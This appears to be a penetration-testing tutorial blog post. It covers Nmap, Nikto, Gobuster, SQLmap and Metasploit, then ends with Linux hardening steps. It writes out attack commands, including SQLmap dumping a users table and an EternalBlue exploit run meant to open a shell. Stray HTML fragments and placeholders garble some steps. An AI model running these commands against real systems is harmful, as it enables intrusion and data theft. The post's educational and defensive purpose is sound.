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Introduction:
Vulnerability Assessment and Penetration Testing (VAPT) is the cornerstone of proactive cybersecurity, blending automated scanning with manual exploitation to harden defenses. This discipline, as demonstrated through practical internship experiences, requires a robust toolkit of commands and methodologies to effectively identify, analyze, and remediate security weaknesses before malicious actors can exploit them.
Learning Objectives:
- Understand the core command-line tools used for network reconnaissance and vulnerability scanning.
- Learn the fundamental commands for exploiting common vulnerabilities and establishing proof-of-concept access.
- Gain practical knowledge for mitigating identified vulnerabilities and hardening systems.
You Should Know:
1. Network Reconnaissance with Nmap
Nmap is the industry-standard tool for network discovery and security auditing. It helps map the attack surface.
Basic TCP SYN scan on a target range nmap -sS 192.168.1.0/24 Version detection and OS fingerprinting nmap -sV -O 192.168.1.105 Script scanning using default NSE scripts nmap -sC 192.168.1.105 Aggressive scan with OS and version detection, script scanning, and traceroute nmap -A 192.168.1.105
Step-by-step guide:
- Install Nmap: `sudo apt-get install nmap` (Kali Linux).
2. Identify your target network range (e.g., `192.168.1.0/24`).
- Run a basic discovery scan (
-sS) to find live hosts without completing the TCP handshake. - For more detail on a specific target, use the `-A` flag for an aggressive scan, which combines OS detection, version detection, script scanning, and traceroute.
2. Web Vulnerability Scanning with Nikto
Nikto is an open-source web server scanner that performs comprehensive tests against web servers for dangerous files, outdated versions, and misconfigurations.
Basic scan against a target URL nikto -h http://example.com Scan on a specific port nikto -h http://example.com -p 8080 Output results to a file nikto -h http://example.com -o results.txt
Step-by-step guide:
- Nikto is often pre-installed on Kali Linux. Launch a terminal.
2. Identify the target web application’s URL.
- Run `nikto -h http://targeturl.com`. The tool will automatically run thousands of tests and present a list of potential vulnerabilities, including outdated server software and potential misconfigurations.
3. Directory Bruteforcing with Gobuster
Gobuster uses wordlists to brute-force directories and files on web servers, uncovering hidden endpoints that could be vulnerable.
Directory bruteforcing using common wordlist gobuster dir -u http://example.com -w /usr/share/wordlists/dirb/common.txt Bruteforce with file extensions (e.g., php, txt) gobuster dir -u http://example.com -w /usr/share/wordlists/dirb/common.txt -x php,txt,bak
Step-by-step guide:
1. Install Gobuster: `sudo apt-get install gobuster`.
- Select a wordlist (e.g., `common.txt` from the `dirb` package).
- Run the command
gobuster dir -u http://target.com -w</code>.</li> <li>Review the discovered directories for hidden administration panels, backup files, or configuration files.</li> </ol> <h2 style="color: yellow;">4. SQL Injection Detection with SQLmap</h2> SQLmap automates the process of detecting and exploiting SQL injection flaws, a critical web application vulnerability. [bash] Basic test on a vulnerable parameter sqlmap -u "http://example.com/page.php?id=1" --batch Retrieve database names sqlmap -u "http://example.com/page.php?id=1" --dbs --batch Dump the contents of a specific table sqlmap -u "http://example.com/page.php?id=1" -D database_name -T users --dump --batch
Step-by-step guide:
- Identify a potentially vulnerable parameter (e.g., `?id=1` in a URL).
- Run
sqlmap -u "http://site.com/page.php?id=1" --batch. The `--batch` flag runs non-interactively, using default choices. - If SQLi is found, use flags like `--dbs` to enumerate databases and `--dump` to extract data from tables, demonstrating the impact.
5. Metasploit Framework for Exploitation
The Metasploit Framework is a powerful platform for developing, testing, and executing exploits.
Start the Metasploit console msfconsole Search for a specific exploit search eternalblue Use an exploit use exploit/windows/smb/ms17_010_eternalblue Set required options (RHOSTS, LHOST) set RHOSTS 192.168.1.150 set LHOST 192.168.1.100 Run the exploit exploit
Step-by-step guide:
1. Start Metasploit: `msfconsole` in a terminal.
- Use the `search` command to find an exploit for a specific vulnerability (e.g.,
search eternalblue).
3. Select the exploit with `use
`.</h2> <ol> <li>Configure the options: `set RHOSTS [bash]` and <code>set LHOST [bash]</code>.</li> <li>Execute the exploit with the `exploit` command. A successful exploit will provide a shell session on the target machine.</li> </ol> <h2 style="color: yellow;">6. Windows Command Line Reconnaissance</h2> Understanding built-in Windows commands is vital for assessing internal security postures and lateral movement. [bash] :: Display system information systeminfo :: Show current network connections netstat -ano :: List users on the system net users :: View the routing table route print :: Query the Windows firewall status and rules netsh advfirewall show allprofiles netsh advfirewall firewall show rule name=all
Step-by-step guide:
- Open a Command Prompt (
cmd.exe) on the Windows target. - Run `systeminfo` to gather detailed OS and hardware data, which can help identify missing patches.
- Execute `netstat -ano` to view all active connections and listening ports, identifying potentially malicious or misconfigured services.
7. Hardening Linux Systems
Mitigation is key. These commands help secure a Linux system after an assessment.
Check for unnecessary open ports ss -tuln Update all system packages sudo apt update && sudo apt upgrade -y Check file permissions for sensitive files (e.g., passwd) ls -l /etc/passwd Verify and configure the firewall (UFW) sudo ufw status sudo ufw enable sudo ufw allow ssh sudo ufw deny 23/tcp deny telnet
Step-by-step guide:
- Audit listening services with
ss -tuln. Investigate any unknown open ports. - Ensure the system is fully patched:
sudo apt update && sudo apt upgrade. - Enable and configure the Uncomplicated Firewall (UFW) to only allow necessary traffic, starting with SSH:
sudo ufw allow ssh && sudo ufw enable.
What Undercode Say:
- Foundations First: Mastery of core CLI tools like Nmap, Netstat, and Systeminfo is non-negotiable; they provide the critical visibility needed for both attack and defense.
- Automation with Caution: Tools like SQLmap and Metasploit are powerful but noisy; they must be used ethically and with explicit permission to avoid causing disruption.
The journey from a VAPT intern to a proficient security professional is paved with hands-on practice. This toolkit provides a foundation, but true expertise comes from applying these commands in controlled lab environments, understanding not just the "how" but the "why" behind each vulnerability. The ultimate goal is not just to find flaws but to provide actionable intelligence that strengthens an organization's entire security posture, making systems truly "unbreakable."
Prediction:
The automation and integration of these core VAPT methodologies into DevOps pipelines (DevSecOps) will become absolute standard practice. Manual penetration testing will evolve to focus on complex, logic-based attacks, while AI-powered tools will handle repetitive scanning and initial vulnerability discovery. This will lead to a future where continuous security assessment is embedded in the fabric of software development, drastically reducing the window of exposure for new vulnerabilities and pushing the industry toward a more proactive defense model.
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